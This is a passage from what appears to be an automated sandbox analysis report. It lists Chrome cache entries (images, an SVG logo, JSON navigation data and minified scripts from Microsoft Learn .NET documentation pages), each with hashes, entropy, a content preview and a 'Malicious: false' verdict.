SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
